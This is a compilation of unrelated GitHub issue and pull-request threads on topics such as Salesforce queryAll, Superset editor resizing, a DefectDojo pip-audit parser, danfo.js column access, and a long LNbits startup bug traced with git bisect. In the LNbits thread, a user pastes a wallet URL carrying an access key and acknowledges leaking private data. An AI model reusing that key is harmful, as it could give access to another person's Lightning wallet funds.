https://a05f2649-02f2-4409-800e-d266bc422e08-us-east-.apps.astra.datastax.com/api/rest/v2/namespaces/stargate/collections/sampledoc
{
"documentId": "ec298030-432a-4436-8ef7-2ded1c646252"
}

Attach the homework step II screenshots below:

Hey Michael CHau, great job! Congrats! Here is your badge! https://api.badgr.io/public/assertions/JX6W00qdTsKb0c-Mc_TGTg


Support Salesforce queryAll

Signed-off-by: Sune Keller<EMAIL_ADDRESS>

Ping @davsclaus
This feature is useful for e.g. querying deleted records. Integration test should pass, but was executed locally against the Account object rather than the Line_Item__c object.

Thanks for the PR it has been merged. Do you mind closing this?


Ensure that a test-suite that runs no tests is treated as a failure

Occasionally some test-suites may fail to start on the bots, however that's not correctly reflected in the botio-output posted to GitHub which makes it easy to accidentally overlook this situation.
Looking at the raw logs when that happens they always seem to contain a line such as Run NaN tests which means that we should be able to easily make this situation a failure as intended.

/botio test


BlankLineBeforeStatementFixer - add yield from

thanks for the review @julienfalque , I think I've addressed all your feedback. For simplicity I pushed out all the not needed changes.

Im kind done dealing with this prehistoric 5.6 stuff


dive clean doesn't remove service.json

Overview
Run any chain which generates service.json and do clean, it doesn't remove service.json
Steps to Reproduce
Steps to reproduce the behavior:

run any chain
run dive clean
observe service.json is not removed

Expected Behavior
Clean should remove service.json

This issue is fixed in the latest release


Clock disappears when password misentered

Pretty much the title. Here is my configuration.

I dont know how to deal with that yet. :(

don't just close it then, leave it open so maybe someone who knows how to deal with it can fix it

I checked the issue and found out it's i3lock-color's fault. I created an issue at their repo https://github.com/PandorasFox/i3lock-color/issues/58

There's already an option (--force-clock) for this, for when the clock isn't inside the indicator.

@PandorasFox thank you very much for your fork, its awesome.


Add notes for features disabled in Firefox 60 ESR

Service workers and push API are still disabled in Firefox 60 ESR. I replicated the notes from ESR 52 to reflect this.
Sources: https://bugzilla.mozilla.org/show_bug.cgi?id=1457915, https://www.mozilla.org/en-US/firefox/60.0esr/releasenotes/

Thanks!

You're welcome 😃


Release 1.2.1

Patch release to pull in #2202 for API URL problem reported in #2247.

LGTM

Did you test it?


Page not found when uploading a new dataset

When a new user dataset is uploaded and installed, the user gets a Page not found when clicking on the Explore in ClinEpiDB link on the user dataset detail page. ~This is most likely due to how we store the list of studies in IndexedDB.~

The issue has to do with memoization done by https://github.com/VEuPathDB/web-study-data-access/blob/538bf13f0c64f4999ff0c143cc2cf11f45c98872/src/data-restriction/permissionsHooks.ts#L23-L40.


Fail build if essential module cannot be built

Currently, when CuPy failed to configure a module other than cuda, build succeeds without building the module.
If non-optional (essential) modules cannot be built, the build should fail with an error.
Optional modules are nccl, cudnn, nvtx
Non-optional modules are others e.g., random, thrust, cub, dlpack, ...

Exhaustive list of MODULES in cupy_setup_buid.py:

mandatory

cuda
cusolver
cutensor
cub
jitify
random
thrust
dlpack

optional

nccl
cudnn
nvtx


Error Suppression and Name Mapping feature

Signed-off-by: Bulent Coskun<EMAIL_ADDRESS>Description
Issue reference
Issue : #887
Checklist
Please make sure you've completed the relevant tasks for this PR, out of the following list:

[X] Code compiles correctly
[ ] Created/updated tests
[ ] Extended the documentation

@BCoskun - Are you still making progress on this/is it ready to review?

@BCoskun - Do you need someone to take over here?

@BCoskun Thank you for your contribution!
As this PR is still in a draft and we haven't heard anything back on it in over two years, I'm going to go ahead and close it. Should you complete it and want to resubmit, please don't hesitate to either re-open this or submit a separate PR.


[SQL Lab] Fix unadjustable sql editor height

CATEGORY
Choose one

[x] Bug Fix
[ ] Enhancement (new features, refinement)
[ ] Refactor
[ ] Add tests
[ ] Build / Development Environment
[ ] Documentation

SUMMARY
If you made the window really small and adjusted the sql editor height, it would autolock to the minHeight (200px) which was > 100% of the screen size. Then you could never resize it again because the sql editor height would be saved to localstorage.
This PR ensures that the panes are always resized to at least the minHeight (200px) and also sets a min height to the whole page so that you can never make the editor 100% of the page
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF
Before:

After:

TEST PLAN
Make the window min height, resize the pane, then make the window larger again. See that you can still drag the gutter. Also make sure that when reloading the page you can drag the gutter
ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

REVIEWERS
@graceguo-supercat @betodealmeida @rusackas

Codecov Report

Merging #8716 into master will decrease coverage by 5.86%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #8716      +/-   ##
==========================================
- Coverage   71.42%   65.55%   -5.87%
==========================================
  Files         121      481     +360
  Lines       12790    24081   +11291
  Branches        0     2763    +2763
==========================================
+ Hits         9135    15786    +6651
- Misses       3655     8115    +4460
- Partials        0      180     +180

Impacted Files
Coverage Δ

...uperset/assets/src/SqlLab/components/SqlEditor.jsx
51.63% <ø> (ø)

superset/assets/src/components/Checkbox.jsx
100% <0%> (ø)

.../assets/src/dashboard/reducers/dashboardFilters.js
88.46% <0%> (ø)

...ets/src/dashboard/components/dnd/DragDroppable.jsx
94.59% <0%> (ø)

superset/assets/src/components/EditableTitle.jsx
80.28% <0%> (ø)

...src/explore/components/controls/VizTypeControl.jsx
76.92% <0%> (ø)

...t/assets/src/components/InfoTooltipWithTrigger.jsx
38.46% <0%> (ø)

.../src/dashboard/components/UndoRedoKeylisteners.jsx
9.52% <0%> (ø)

...ts/src/explore/components/ExploreActionButtons.jsx
100% <0%> (ø)

.../src/dashboard/components/FilterTooltipWrapper.jsx
100% <0%> (ø)

... and 355 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ac0e353...dfc9d8b. Read the comment docs.

👀


Question

hi.
I have a question

Can you use it in Unity?
If you can use it, please guide me

Do you have a win / lose API?

Thanks

Hi!
I don't have any experience with Unity, but I am pretty sure you can, you just have to send a GET request to the endpoints you need.
I'm sorry but I don't have a win/lose API, as I am not able to get information of the current game, just I show the static information that you just can copy & paste from the game.
Let me know if I can help you with anything else! And thanks for using my API!

Thanks for the reply!
Static information What is it?
Please explain
I will study the GET request method.

Is all the information like cards names, description, elixir costs, arenas, etc.
I am not able to get any information like player cards level, gold, gems, experience, win/lost battles, etc.

All right! I understand
Thank you so much!

 I will close this issue now, if you have any other question, feel free to create a new issue.
Thanks!


attributes: add upstream.cx_pool_ready_duration to get the duration of the upstream connection pool ready duration

Commit Message: add upstream.cx_pool_ready_duration to get the duration of the upstream connection pool ready duration
Additional Description: Added a new attribute to extract upstream.cx_pool_ready_duration from the StreamInfo(). This could be used in CEL Matcher for access log filtering.
Risk Level: Low
Testing: Added Unit Tests
Docs Changes: Added
Release Notes: Added

/assign @kyessenov

cc @wbpcode


Update Metadata Annotations for the Trident Operator

The metadata annotation for the Trident Operator (https://github.com/redhat-openshift-ecosystem/community-operators-prod/blob/main/operators/trident-operator/24.2.0/metadata/annotations.yaml) shows support only up to OpenShift 4.14. But according to NetApp, OpenShift 4.15 is supported. My guess is a typo in the annotation.  Please let me know if this is wrong place to raise this issue too.

I have created a PR for that: https://github.com/redhat-openshift-ecosystem/community-operators-prod/pull/4721
However, I am not sure, that this was the intended way...

@benruland It is not allowed to modify the existing operator bundle.

Trident 24.06.0 has been released, and I've removed the version annotations, so you should be able to install it on any version of openshift. Our support policies are the same, i.e. you should install it on supported versions of k8s/openshift (https://docs.netapp.com/us-en/trident/trident-get-started/requirements.html#critical-information-about-astra-trident), but there won't be a technical restriction.
@benruland @sabman3

Thanks! I would consider this issue as Closed then.
PR is https://github.com/redhat-openshift-ecosystem/community-operators-prod/pull/4771


feat: Add Google Coral TPU Gasket & Apex drivers

Driver needed for Google's Coral TPU hardware on Linux, useful for home servers since it can do ML image processing at very low power usage.
https://coral.ai/products/
Version actually being built here is at https://github.com/KyleGospo/gasket-dkms
We could build upstream, however it has issues preventing it from being unloaded and a few other bugs fixed downstream at OpenSUSE among other places, so this repo serves as a patched source.

Missing execute permission on sh, fixed


Consider conan for C package and dependency management

https://conan.io
https://docs.conan.io/en/latest/
The videos here make a great case for why
https://docs.conan.io/en/latest/videos.html

Closing this issue since there is no more C implementation


New parser for pip-audit

To my knowledge DefectDojo currently doesn't support an open source dependency scanner for Python. pip-audit (https://github.com/trailofbits/pip-audit) seems to be a good candidate we should integrate.

@StefanFl there is a unique Id in the reports, why not using this Id in the de-duplication algorithm?

@StefanFl there is a unique Id in the reports, why not using this Id in the de-duplication algorithm?

I am not sure about the rules about how unique these PYSEC numbers are. A CVE can affect more than one component and/or more than one version of a component. Actually the title will be enough, because it contains id, component name and component title.

@StefanFl I made some search about those Ids. I think we can use them as unique_id_from_tool and use them for de-duplication algorithm.
Those Ids are unique and they come from OSV database. So there are the same as our unique_id_from_tool attribute.

According to https://ossf.github.io/osv-schema/ one id can have a list of affected packages. This is why I want to keep the title to calculate the hash_code, which has id, component name and component version.

I think you're right. In the JSON schema the affected package could be different, so technically one vulnerability could affect few different package.

This is why I want to keep the title to calculate the hash_code, which has id, component name and component version.

It's better to make it explicit in the de-duplication algorithm configuration. I mean relying on id+component_name+component_version instead of the relying on the title that is an aggregation and that could be changed in future release.
something like this:
'pip-audit Scan': ['vuln_id_from_tool', 'component_name', 'component_version'],

Good idea, done


BigQuery 'JobConfiguration.Type' enum should be public

https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/google-cloud-bigquery/src/main/java/com/google/cloud/bigquery/JobConfiguration.java#L39
JobConfiguration.Type is package-private. Yet, there is a public method in its Builder that returns the type of the job configuration, which is kind of useless. Because the enum itself is package private, it's not accessible outside the package/API.
Thus, it makes it hard to:

Check the type returned e.g. is a QUERY, EXTRACT..
Write unit tests

For example, clients should be able to do this:
assertTrue(jobInfo.getConfiguration().getType() == JobConfiguration.Type.QUERY);
..and not have to do this:
assertTrue(jobInfo.getConfiguration() instanceof QueryJobConfiguration);
Is there a good reason why the enum is package-private, and not public?

Seems like an easy fix that can increase usability. I'll mark as blocking GA, but @garrettjonesgoogle since you're more familiar with the Java client library surface than I am you can decide otherwise.


openssl 1.1.1

I thought of pinging you about the new openssl version and wanted to ask when we could count with a new build of alpine?
Keyword: TLS 1.3 support
I stumbled upon it when I saw mailcow/mailcow-dockerized#1661
https://github.com/openssl/openssl/releases/tag/OpenSSL_1_1_1

There is a pending PR to merge OpenSSL1.1.1  into the testing apk repo (aka edge):
https://github.com/alpinelinux/aports/pull/5143

Oh I'm sorry, closed. 😊


[BUG] Update from 239f166 commit to fe315d0 (origin/main now) failed

Describe the bug
I updated by instruction the version from 239f166a141fa9347ba7ab958c80cbc8804bd8b8 commit to fe315d0a9b97f360c1540509654dce91568bdf45 and cannot run - throw error
To Reproduce
Steps to reproduce the behavior:

Install 239f166a141fa9347ba7ab958c80cbc8804bd8b8 commit version
Set up the config AdminUI version and LndRestWallet type
Everything works fine (REST point is OK, macaroon is OK)
Update through console as described in "Update LNbits" section to origin/main branch (the current is fe315d0a9b97f360c1540509654dce91568bdf45 commit)
Restart LNBits and get errors (with same config and with LNBITS_ADMIN_UI=false too)
If I do downgrade - everything works again

Additional context
Error of stack trace after upgrade:
2023-04-18 17:26:19.41 | ERROR | cannot initialize lndrest
2023-04-18 17:26:19.41 | ERROR | Traceback (most recent call last):
  File "/home/lnbits/lnbits/lnbits/app.py", line 288, in lnbits_startup
    set_wallet_class()
  File "/home/lnbits/lnbits/lnbits/settings.py", line 326, in set_wallet_class
    WALLET = wallet_class()
  File "/home/lnbits/lnbits/lnbits/wallets/lndrest.py", line 43, in __init__
    raise Exception("cannot initialize lndrest")
Exception: cannot initialize lndrest

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 635, in lifespan
    async with self.lifespan_context(app):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 530, in __aenter__
    await self._router.startup()
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 612, in startup
    await handler()
  File "/home/lnbits/lnbits/lnbits/app.py", line 298, in lnbits_startup
    raise ImportError("Failed to run 'startup' event.")
ImportError: Failed to run 'startup' event.

2023-04-18 17:26:19.41 | ERROR | Application startup failed. Exiting.

I used the 'git bisect` for founding the bug and got results:
git bisect bad
02306148df90a537be494e8450912d52836b2ca6 is the first bad commit
commit 02306148df90a537be494e8450912d52836b2ca6
Author: Pavol Rusnak<EMAIL_ADDRESS>Date:   Thu Feb 2 12:58:23 2023 +0000

    fix pyright lnbits

    Co-authored-by: dni ⚡<EMAIL_ADDRESS>
 lnbits/bolt11.py            |  52 ++++++----
 lnbits/commands.py          |   1 +
 lnbits/db.py                |  18 ++--
 lnbits/decorators.py        |  26 +++--
 lnbits/extension_manager.py | 242 +++++++++++++++++++++++++++++++++-----------
 lnbits/jinja2_templating.py |  23 ++---
 lnbits/settings.py          |  12 ++-
 lnbits/tasks.py             |   8 +-
 8 files changed, 266 insertions(+), 116 deletions(-)

https://github.com/lnbits/lnbits/commit/02306148df90a537be494e8450912d52836b2ca6
Ping @prusnak

I used the 'git bisect` for founding the bug and got results:
...
0230614
Ping @prusnak

But this commit introduce few other errors:
/home/lnbits/.local/bin/poetry run lnbits
Process Process-1:
Traceback (most recent call last):
  File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
    self.run()
  File "/usr/lib/python3.9/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/uvicorn/server.py", line 60, in run
    return asyncio.run(self.serve(sockets=sockets))
  File "/usr/lib/python3.9/asyncio/runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "uvloop/loop.pyx", line 1501, in uvloop.loop.Loop.run_until_complete
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/uvicorn/server.py", line 67, in serve
    config.load()
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/uvicorn/config.py", line 479, in load
    self.loaded_app = import_from_string(self.app)
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/uvicorn/importer.py", line 21, in import_from_string
    module = importlib.import_module(module_str)
  File "/usr/lib/python3.9/importlib/__init__.py", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1030, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 986, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 680, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 850, in exec_module
  File "<frozen importlib._bootstrap>", line 228, in _call_with_frames_removed
  File "/home/lnbits/lnbits/lnbits/__main__.py", line 1, in <module>
    from .app import create_app
  File "/home/lnbits/lnbits/lnbits/app.py", line 21, in <module>
    from lnbits.core.crud import get_installed_extensions
  File "/home/lnbits/lnbits/lnbits/core/__init__.py", line 3, in <module>
    from lnbits.core.models import CoreAppExtra
  File "/home/lnbits/lnbits/lnbits/core/models.py", line 15, in <module>
    from lnbits.helpers import url_for
  File "/home/lnbits/lnbits/lnbits/helpers.py", line 16, in <module>
    from .extension_manager import get_valid_extensions
  File "/home/lnbits/lnbits/lnbits/extension_manager.py", line 526, in <module>
    class InstalledExtensionMiddleware:
  File "/home/lnbits/lnbits/lnbits/extension_manager.py", line 531, in InstalledExtensionMiddleware
    def __init__(self, app: ASGIApp) -> None:
NameError: name 'ASGIApp' is not defined
^C
Aborted!

I will try to find where exactly first bug appears

Exactly same error described as in my first message appears here:
486631b4558230184182722083be8cf54a871b22 is the first bad commit
commit 486631b4558230184182722083be8cf54a871b22
Author: dni ⚡<EMAIL_ADDRESS>Date:   Thu Feb 23 10:15:39 2023 +0100

    move middleware to middleware.py

 lnbits/extension_manager.py | 46 ---------------------------------------------
 1 file changed, 46 deletions(-)

Pinging @dni

wow, investigating  did not see that at also, also our tests did not catch that, which is very weird..
did you run poetry install after pulling?

wow, investigating did not see that at all, also our tests did not catch that, which is very weird.. did you run poetry install after pulling?

I did how described in your install guide:
cd lnbits
git pull
poetry self update
poetry install --only main
/home/lnbits/.local/bin/poetry run lnbits

/home/lnbits/.local/bin/poetry run lnbits should be poetry run lnbits if thats not working what your python version on env poetry env info.

poetry env info

$ cd lnbits/
$ poetry env info

Virtualenv
Python:         3.9.16
Implementation: CPython
Path:           /home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9
Executable:     /home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/bin/python
Valid:          True

System
Platform:   linux
OS:         posix
Python:     3.9.16
Path:       /usr
Executable: /usr/bin/python3.9

not it should be automatically pulled on poetry install, via a dependency from fastapi

can you try poetry install without --only main? maybe that helps?

http://<IP_ADDRESS>:5000/wallet?usr=3472987066834ecabefe8152691aada0

I posted private data.... Ohh...

http://<IP_ADDRESS>:5000/wallet?usr=3472987066834ecabefe8152691aada0

I posted private data.... Ohh...

May be admin account should not be logged for security reason?

ok, that kind of looks right, not ASGIApp error? the  question is why no lndrest init? kann you try fakewallet?

ok, that kind of looks right, not ASGIApp error? the question is why no lndrest init? kann you try fakewallet?

I can checkout to 02306148df90a537be494e8450912d52836b2ca6 commit and will get ASGIApp error

once you set admin ui to true.
.env doesnt do it anymore, you need to truncate settings table to be newly created

ok that one it that issue https://github.com/lnbits/lnbits/issues/1184 python3.9...
but it work the issue is literally your rest, i may do a PR make it more clear what actually is missing instead of 1 generic error for all of them
you either missing endpoint, macaroon or ssl cert.

Ok, now I have: admin ui off, LndRestWallet, commit fe315d0a9b97f360c1540509654dce91568bdf45,
2023-04-19 09:18:13.99 | INFO | Git version: fe315d0a9b97f360c1540509654dce91568bdf45
2023-04-19 09:18:13.99 | INFO | Database: SQLite
2023-04-19 09:18:13.99 | INFO | Service fee: 0.0
2023-04-19 09:18:13.99 | ERROR | cannot initialize lndrest
2023-04-19 09:18:13.99 | ERROR | Traceback (most recent call last):
  File "/home/lnbits/lnbits/lnbits/app.py", line 288, in lnbits_startup
    set_wallet_class()
  File "/home/lnbits/lnbits/lnbits/settings.py", line 326, in set_wallet_class
    WALLET = wallet_class()
  File "/home/lnbits/lnbits/lnbits/wallets/lndrest.py", line 43, in __init__
    raise Exception("cannot initialize lndrest")
Exception: cannot initialize lndrest

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 635, in lifespan
    async with self.lifespan_context(app):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 530, in __aenter__
    await self._router.startup()
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.9/lib/python3.9/site-packages/starlette/routing.py", line 612, in startup
    await handler()
  File "/home/lnbits/lnbits/lnbits/app.py", line 298, in lnbits_startup
    raise ImportError("Failed to run 'startup' event.")
ImportError: Failed to run 'startup' event.

2023-04-19 09:18:13.99 | ERROR | Application startup failed. Exiting.
^C
Aborted!

Then I checkout to old 239f166a141fa9347ba7ab958c80cbc8804bd8b8
$ git checkout 239f166a141fa9347ba7ab958c80cbc8804bd8b8
Previous HEAD position was fe315d0a FEAT: remove python 3.7 and update dependencies (#1629)
HEAD is now at 239f166a fix: format relative path
$ poetry self update
Updating Poetry version ...

Using version ^1.4.2 for poetry

Updating dependencies
Resolving dependencies... (0.5s)

No dependencies to install or update
$ poetry install
Installing dependencies from lock file

Package operations: 0 installs, 8 updates, 0 removals

  • Updating wrapt (1.15.0 -> 1.14.1)
  • Updating astroid (2.15.2 -> 2.14.1)
  • Updating coverage (7.2.3 -> 7.1.0)
  • Updating isort (5.12.0 -> 5.11.5)
  • Updating pathspec (0.11.1 -> 0.11.0)
  • Updating platformdirs (3.2.0 -> 2.6.2)
  • Updating tomlkit (0.11.7 -> 0.11.6)
  • Updating pylint (2.17.2 -> 2.16.1)

Preparing build environment with build-system requirements poetry-core>=1.0.0, pyscss
Installing the current project: lnbits (0.10.3)
$ /home/lnbits/.local/bin/poetry run lnbits
...
2023-04-19 09:20:25.28 | INFO | Started server process [2140799]
2023-04-19 09:20:25.28 | INFO | Waiting for application startup.
2023-04-19 09:20:25.91 | INFO | ✔ All migrations done.
2023-04-19 09:20:25.91 | INFO | Starting LNbits
2023-04-19 09:20:25.91 | INFO | Baseurl: http://<IP_ADDRESS>:5000/
2023-04-19 09:20:25.91 | INFO | Host: <IP_ADDRESS>
2023-04-19 09:20:25.91 | INFO | Port: 5000
2023-04-19 09:20:25.91 | INFO | Debug: False
2023-04-19 09:20:25.91 | INFO | Site title: LNbits
2023-04-19 09:20:25.91 | INFO | Funding source: LndRestWallet
2023-04-19 09:20:25.91 | INFO | Data folder: ./data
2023-04-19 09:20:25.91 | INFO | Git version: 239f166a141fa9347ba7ab958c80cbc8804bd8b8
2023-04-19 09:20:25.91 | INFO | Database: SQLite
2023-04-19 09:20:25.91 | INFO | Service fee: 0.0
2023-04-19 09:20:25.96 | INFO | ✔ Backend LndRestWallet connected and with a balance of<PHONE_NUMBER> msat.
2023-04-19 09:20:25.97 | INFO | Application startup complete.
2023-04-19 09:20:25.98 | INFO | Uvicorn running on http://<IP_ADDRESS>:5000 (Press CTRL+C to quit)
2023-04-19 09:20:25.98 | INFO | Task: checking all pending payments (incoming=True, outgoing=True) of last 15 days
2023-04-19 09:20:25.98 | INFO | Task: pending check finished for 0 payments (took 0.003 s)
2023-04-19 09:20:25.98 | INFO | Task: expired invoice deletion finished (took 0.001 s)
^C
Aborted!
2023-04-19 09:20:28.38 | INFO | Shutting down
2023-04-19 09:20:28.48 | INFO | Waiting for application shutdown.
2023-04-19 09:20:28.49 | INFO | Application shutdown complete.
2023-04-19 09:20:28.49 | INFO | Finished server process [2140799]

So same credentials when admin ui off work

you either missing endpoint, macaroon or ssl cert.

I have endpoint and macaroon and cert disabled in .env because I use Let's Encrypt valid certificate at the endpoint (I use BTCPay server)

ok that one it that issue #1184 python3.9...

I can try python3.10 but few later. Will do it?

ok, yeah i think the issue is we always expect a ssl cert else  we will raise an exception

ok, yeah i think the issue is we always expect a ssl cert else we will raise an exception

But no exception when I use commit 239f166a141fa9347ba7ab958c80cbc8804bd8b8
And very strange to copy certificate for valid CA centers

python3.10
$ poetry env info

Virtualenv
Python:         3.10.11
Implementation: CPython
Path:           /home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.10
Executable:     /home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.10/bin/python
Valid:          True

System
Platform:   linux
OS:         posix
Python:     3.10.11
Path:       /usr
Executable: /usr/bin/python3.10

2023-04-19 09:34:58.81 | ERROR | cannot initialize lndrest
2023-04-19 09:34:58.81 | ERROR | Traceback (most recent call last):
  File "/home/lnbits/lnbits/lnbits/app.py", line 288, in lnbits_startup
    set_wallet_class()
  File "/home/lnbits/lnbits/lnbits/settings.py", line 326, in set_wallet_class
    WALLET = wallet_class()
  File "/home/lnbits/lnbits/lnbits/wallets/lndrest.py", line 43, in __init__
    raise Exception("cannot initialize lndrest")
Exception: cannot initialize lndrest

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.10/lib/python3.10/site-packages/starlette/routing.py", line 635, in lifespan
    async with self.lifespan_context(app):
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.10/lib/python3.10/site-packages/starlette/routing.py", line 530, in __aenter__
    await self._router.startup()
  File "/home/lnbits/.cache/pypoetry/virtualenvs/lnbits-Me3QFGJB-py3.10/lib/python3.10/site-packages/starlette/routing.py", line 612, in startup
    await handler()
  File "/home/lnbits/lnbits/lnbits/app.py", line 298, in lnbits_startup
    raise ImportError("Failed to run 'startup' event.")
ImportError: Failed to run 'startup' event.

2023-04-19 09:34:58.81 | ERROR | Application startup failed. Exiting.
^C
Aborted!

So v3.10 - same error

ok, yeah i think the issue is we always expect a ssl cert else we will raise an exception

I think it's not right
Firstly, your old version works without a certificate. Secondly, the endpoint can be located on a server where I do not have access, and where the certificate of the center Lets'encrypt, for example. Should I ask the administrator to send me a new certificate every two months (when renewed)?

i agree, it the first time though i saw it that it is possible to use lndrest with a letsencrypt certificate. maybe it should be just a warning stating, no certificate for lndrest provided, this only works if you have a publicly issues certificate.

can you try the above PR if that is working for you?

https://github.com/lnbits/lnbits/pull/1636 this one :)

#1636 this one :)

The patch works! Thanks!
2023-04-19 16:27:48.04 | INFO | Started server process [2146612]
2023-04-19 16:27:48.04 | INFO | Waiting for application startup.
2023-04-19 16:27:48.70 | INFO | ✔ All migrations done.
2023-04-19 16:27:48.70 | INFO | Starting LNbits
2023-04-19 16:27:48.70 | INFO | Version: 0.10.3
2023-04-19 16:27:48.70 | INFO | Baseurl: http://<IP_ADDRESS>:5000/
2023-04-19 16:27:48.70 | INFO | Host: <IP_ADDRESS>
2023-04-19 16:27:48.70 | INFO | Port: 5000
2023-04-19 16:27:48.70 | INFO | Debug: False
2023-04-19 16:27:48.70 | INFO | Site title: LNbits
2023-04-19 16:27:48.70 | INFO | Funding source: LndRestWallet
2023-04-19 16:27:48.70 | INFO | Data folder: ./data
2023-04-19 16:27:48.70 | INFO | Git version: adae3b4302756f3d75498f8fb05658a9a565aa9c
2023-04-19 16:27:48.70 | INFO | Database: SQLite
2023-04-19 16:27:48.70 | INFO | Service fee: 0.0
2023-04-19 16:27:48.70 | WARNING | no certificate for lndrest provided, this only works if you have a publicly issued certificate
2023-04-19 16:27:48.75 | INFO | ✔ Backend LndRestWallet connected and with a balance of<PHONE_NUMBER> msat.
2023-04-19 16:27:48.77 | INFO | Application startup complete.
2023-04-19 16:27:48.77 | INFO | Uvicorn running on http://<IP_ADDRESS>:5000 (Press CTRL+C to quit)
2023-04-19 16:27:48.77 | INFO | Task: checking all pending payments (incoming=True, outgoing=True) of last 15 days
2023-04-19 16:27:48.78 | INFO | Task: pending check finished for 0 payments (took 0.004 s)
2023-04-19 16:27:48.78 | INFO | Task: expired invoice deletion finished (took 0.001 s)

truncating the settings table will work it will regenerate an admin each time

truncating the settings table will work it will regenerate the superuser each time

I found in docs other way

"After the settings are "reset to defaults" and restarted a new super user is created".

I started the server in admin ui and pressed the "RESET TO DEFAULTS". So now I have other admin ui user ;-)

Can you merge this with main branch? The patch works but it's not in main branch yet

which one?

which one?

This one:
https://github.com/lnbits/lnbits/issues/1635#issuecomment-1514352436

I applied this patch by same way:
git fetch origin pull/1636/head:patch-1636
git checkout patch-1636

it is merged into main, but not in the latest version

So may be this issue will close?

yes, closed, patch is merged! and works

I found this commit I think:
https://github.com/lnbits/lnbits/commit/adae3b4302756f3d75498f8fb05658a9a565aa9c


Cannot save screenshot, wrong folder

In some Windows configurations Pictures folder is not 'Pictures' but something localized. The current version assumes that the folder name is Pictures which fails.

fixed in last build


Unexplained behavior in single column projection

Describe the bug
In choose single column;
This isn't work:
var house_ids = df["house_id"];
var tss = df["tsJST1"];
This is work:
var house_ids = df.loc({columns:["house_id"]})["house_id"];
var tss = df.loc({columns:["tsJST1"]})["tsJST1"];
To Reproduce
var house_ids = df["house_id"];
var tss = df["tsJST1"];
Expected behavior
obtaining Series;

Initial Data:
let data = [
    [ "Alice", 2, new Date("2029-01-01 01:00:00") ],
    [ "Bob", 5, new Date("2019-01-02") ],
    [ "Charlie", 30, new Date("2020-01-03 01:00:20") ],
    [ "Dennis", 89, new Date("2022-02-04 02:16:00") ]
];

let columns = ["Name", "Count", "Date"]

With this method of setting the column names, I am able to replicate @qawnaoya issue
let df = new dfd.DataFrame(data);
df.$setColumnNames(columns);

// Column names are modified
console.log(df.columns) // ["Name", "Count", "Date"]

df.loc({columns: ["Name"]})["Name"].print() // Returns series
df["Name"].print() // undefined

On initializing the column names in the constructor, this issue is not present:
let df = new dfd.DataFrame(data, { columns });

console.log(df.columns) // ["Name", "Count", "Date"]

df.loc({columns: ["Name"]})["Name"].print() // Returns series
df["Name"].print() // Returns series

Can someone please explain if this is the expected behavior?


Update AUTHORS and CONTRIBUTORS for PR#232

I forgot to ask you to update these files.

@qzmfranklin Thanks again for your contribution!


Fix syntax, run rustfmt, and speculatively fix types, invalid bindings, and constructors

Hello!
I've had FROST on my TODO list since it was published. Glad to see your interest in it. :)
The following changes are all trivial corrections/guesses to make it build. No new features and not an audit.
Will you keep Sha512 hardcoded or accept any Digest (with matching output size)?
Which DKG is this? Abstract/PDF link? (Appears to be the DKG from the paper.)

Closing as obsolete. Will still be watching and will be around to audit or contribute in the future.


Docs/update publisher

Updates the doc extension publisher:

Now correctly detects date-only changes before making PR
Templates are now stored externally (important for possible docgen changes)
No logic for building extensions contained within ci
Changed Docker repo

This is the first stage in updating extensions reference on the docs site.

This checklist is used to make sure that common guidelines for a pull request are followed.
General Guidelines

[X ] Have you run ./scripts/ci/test_static.sh locally? (pip install pylint flake8 required)
[X ] Have you run python scripts/ci/test_index.py -q locally?

@williexu for testing, see the following PRs:
https://github.com/sptramer/azure-docs-cli-python/pull/2
https://github.com/sptramer/azure-docs-cli-python/pull/3
https://github.com/sptramer/azure-docs-cli-python/pull/4
https://github.com/sptramer/azure-docs-cli-python/pull/5
